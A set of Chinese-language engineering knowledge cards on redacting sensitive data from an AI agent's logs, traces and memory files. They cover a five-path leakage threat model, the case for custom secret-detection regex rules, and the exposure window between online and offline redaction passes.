我们怎么用:拍板结论按三个数据出口落表。记忆库文件出口继续用 Presidio——出口消毒自造的思路,与 GDPR 第 5 条同构:数据最小化要求"限于必要"、存储限制要求"保存不超过必要时长";注意只是类比成立,按出口分级是工程决策、不构成合规认证(已有专卡,实测守住落盘)。trace(跨组件的完整调用记录)与本地日志出口用正则在线先扫、混合管道离线补扫兜语义。附带的教训:设计里"正则零命中才进 LLM"这个看似显然的省钱优化,曾被一条混合样本当场推翻——分层方案里的每个"显然"都要过考卷。

0012 全流程安全总账与迁移指南 —— 知识卡片

数据出口泄露五路径自造

是什么:数据出口泄露五路径[自造]是把"agent 的敏感数据从哪里漏出去"整理成五个固定类别的威胁模型(把可能的威胁分门别类想清楚的清单)。Agent 的日志、trace(跨组件的完整调用记录)、记忆、落盘文件好比几条下水道,泄露沿五条路流。前三条是数据本身出逃。L1 是格式类密钥:API key、JWT(JSON Web Token,带签名的令牌格式)、Bearer 令牌(放在 HTTP 头里、持有即可用的凭据)、连接串口令(如 postgres://user:pass@host/db)随工具输出和调试日志落盘。L2 是结构化 PII(Personally Identifiable Information,个人身份信息):卡号、身份证、手机号进日志,甚至伪装成正常数字,比如把手机号 13800138000 填在"延迟值"字段里。L3 是语义类敏感信息:住址、"我网银密码是 Blue moon..."这类自然语言口令、病历诊断——没有固定格式、正则写不出来。后两条是防御系统自己的内伤。H 是引擎脏输出:LLM 幻觉出的"检出值"被当真回填,或 NER(Named Entity Recognition,命名实体识别,从文本里认出人名电话等实体的技术)把护照号错标成人名。N 是脱敏过度反噬:正常数据被咬掉、调试价值被毁,安全功能自己变成事故——这就是隐私领域常说的 privacy-utility tradeoff(隐私遮蔽越多,数据可用性越低)在脱敏上的体现。

解决什么问题:没有这张清单,防泄露就是东一槓西一槓的补丁;列全五条路,每条路才能配对应的闸,也才知道哪条最挤。这套五分法有两个现成的行业锚点。一是 CWE-532(通用弱点列表里"把敏感信息写入日志文件"的弱点条目)。CWE-532 的原文说:把敏感信息写进日志,"往往会给攻击者提供一条额外的、防护更弱的获取途径"(an additional, less-protected path)。拿到日志就不用再攻破主系统——这是本卡的引申,不是 CWE 原文。二是 OWASP GenAI LLM02:2025(Sensitive Information Disclosure,敏感信息泄露):风险范围圈定 PII、财务、健康记录、业务数据、凭据与法律文书,缓解清单里就有"用模式匹配做遮蔽与标记化"。它把凭据和 PII 并列,与经验事实一致——Agent 日志里最高频的泄露物是 L1 密钥,不是身份证。工具调用参数里带着凭据,日志如实照抄。

我们的办法:五条路各配各的防线——L1 靠自写密钥正则守在线路径,L2 靠格式规则加校验位验证,L3 靠端侧模型(跑在本地的小型模型)离线补扫,H 靠"检出值必须逐字出现在原文"的确定性验收,N 靠负例(长得像敏感信息、其实不该脱的正常文本)和效用分(衡量脱敏后文本还剩多少调试/统计价值的分数)盯住。实测中同一串 13800138000 在样本里是手机号、在负例里是延迟纳秒数,各引擎处理各不相同,正好当检验这套分类的试金石。

密钥类规则必须自配(self-supplied secret rules)

是什么:密钥类规则必须自配[自造]是一条脱敏选型原则:API key、JWT、连接串这类凭据的检测,不在通用 PII 工具或可观测平台(Langfuse、OTel(OpenTelemetry,开源可观测性标准)这类 LLM 追踪/观测平台)的能力范围内;要么引入 secret scanning(密钥扫描,专门识别代码与配置里泄露凭据的成熟工具品类)引擎,要么自己写规则,并放进热路径(数据流出时同步处理的在线路径)。

解决什么问题:它防的是"接了框架就等于防了密钥"的错觉。主流 PII 框架的实体清单按个人身份信息组织——人名、电话、银行卡、住址——压根没有"密钥"这个类别,可观测平台的脱敏清单同理;而密钥恰恰是 Agent 日志最高频的泄露物。语义引擎也帮不上忙:密钥是格式问题不是语义问题,sk-proj-ABCD1234 该抓哪一截,只有正则认得准——连专做密钥扫描的 TruffleHog 也只认结构化凭据、不认独立口令,同一个道理。这不是某家的缺陷,而是工具定位使然。不过密钥检测并非业界空白:GitHub secret scanning 内置 500 多种密钥模式,覆盖约 200 家供应商;TruffleHog 能识别 800 多种密钥类型(其中 700 多种支持到对应平台主动验证);自写正则的理由是脱敏管线要在日志热路径内嵌运行,而不是业界没有——自写十余条规则,相当于自建一个微型 secret scanner。

我们的办法:密钥类交给自写的正则规则集(十余条,覆盖 Bearer 令牌、Slack token、连接串等形状),部署在在线热路径上。接入任何第三方平台前,先查它的实体/脱敏清单里有没有密钥类,没有就默认不防、自己补——GitHub 官方的 custom patterns(自定义模式)正是"清单没有就自己加"的正规机制。

泄露窗口自造

是什么:泄露窗口[自造]是在线脱敏与离线补扫之间的时间差里,语义类敏感信息"已经落盘、但还没被脱掉"的那段暴露期。它不是可以修掉的缺陷,而是分层设计的固有代价——在线热路径只容得下极轻量的处理:本项目把在线延迟预算定在微秒级,能跑的只有正则(单条微秒级)。能读懂"请把证件寄到上海市浦东新区桂花路333弄12号502"这类住址的语义引擎,单次要秒级(本项目实测冷启动约 1.7 秒),只能安排在离线补扫,两次扫描的间隔就是窗口。这种"实时一道闸加批处理一道闸"的双通道并非自创:ServiceNow 的数据隐私功能就把匿名化分成 real-time(实时)与定时作业(批处理)两类。

解决什么问题:不把窗口摆上台面,会有两种自欺。一种是假装零暴露,以为"分了层"就等于"立刻全脱干净",实际上住址在补扫落地前一直躺在磁盘上。而且窗口内的数据往往已被复制、归档,实际暴露期比名义窗口更长。另一种反过来因噎废食,为了把窗口压到零,把秒级模型硬塞进在线路径,延迟预算当场爆掉。量化后的窗口是可接受、可写进设计文档的工程指标,泄露量上限 = 窗口时长内的敏感信息写入量;业界有同款思路,IBM 年度数据泄露成本报告就用 MTTL(平均识别时间)加 MTTC(平均遏制时间)给泄露生命周期定量,2025 年两项合计 241 天——承认它、盯着它,好过否认它。

我们的办法:采用正则在线全量加语义离线补扫的两段式,把"窗口上限 = 补扫间隔"写进设计文档并与业务方确认,同时注明窗口内的副本和归档让实际暴露大于名义值。对窗口内暴露零容忍的出口(如记忆库落盘),改用能在线跑的 NER(命名实体识别)系引擎把单一检查点守在写入前。